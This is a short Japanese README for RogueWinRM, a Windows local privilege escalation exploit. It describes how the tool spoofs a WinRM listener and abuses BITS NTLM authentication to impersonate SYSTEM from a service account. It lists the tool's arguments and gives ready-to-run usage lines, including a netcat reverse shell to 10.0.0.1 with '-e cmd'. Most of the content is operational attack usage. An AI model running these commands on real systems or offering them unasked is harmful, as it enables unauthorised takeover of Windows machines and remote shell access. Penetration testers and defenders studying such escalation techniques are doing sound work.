
RogueWinRM は、WinRM サービスが実行されていない場合 (Windows 10ではデフォルトだが、Windows Server 2019ではNOT) に、サービスアカウント(SeImpersonatePrivilege を持つ)からローカルシステムアカウントへ昇格できるローカル権限昇格エクスプロイトです。
簡単に説明すると、本物の WinRM サービスを偽装してポート 5985 での受信接続を待ち受けます。
これは、そのポートに接続しようとする任意のサービスと NTLM 認証をネゴシエートしようとする最小限のウェブサーバーです。
その後、BITS サービス(ローカルシステムとして実行)がトリガーされ、不正リスナーへの認証を試みます。不正リスナーへの認証が成功すると、ローカルシステムユーザーを偽装し、その権限で任意のプロセスを起動できます。
この脆弱性の完全な技術的説明は以下のリンクにあります --> https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
RogueWinRM
必須引数:
-p <プログラム>: 起動するプログラム
オプション引数:
-a <引数>: プログラムに渡すコマンドライン引数(デフォルト: NULL)
-l <ポート>: リスニングポート(デフォルト: 5985 WinRM)
-d : デバッグ出力を有効化

対話型 cmd の実行:
RogueWinRM.exe -p C:\windows\system32\cmd.exe
netcat リバースシェルの実行:
RogueWinRM.exe -p C:\windows\temp\nc64.exe -a "10.0.0.1 3001 -e cmd"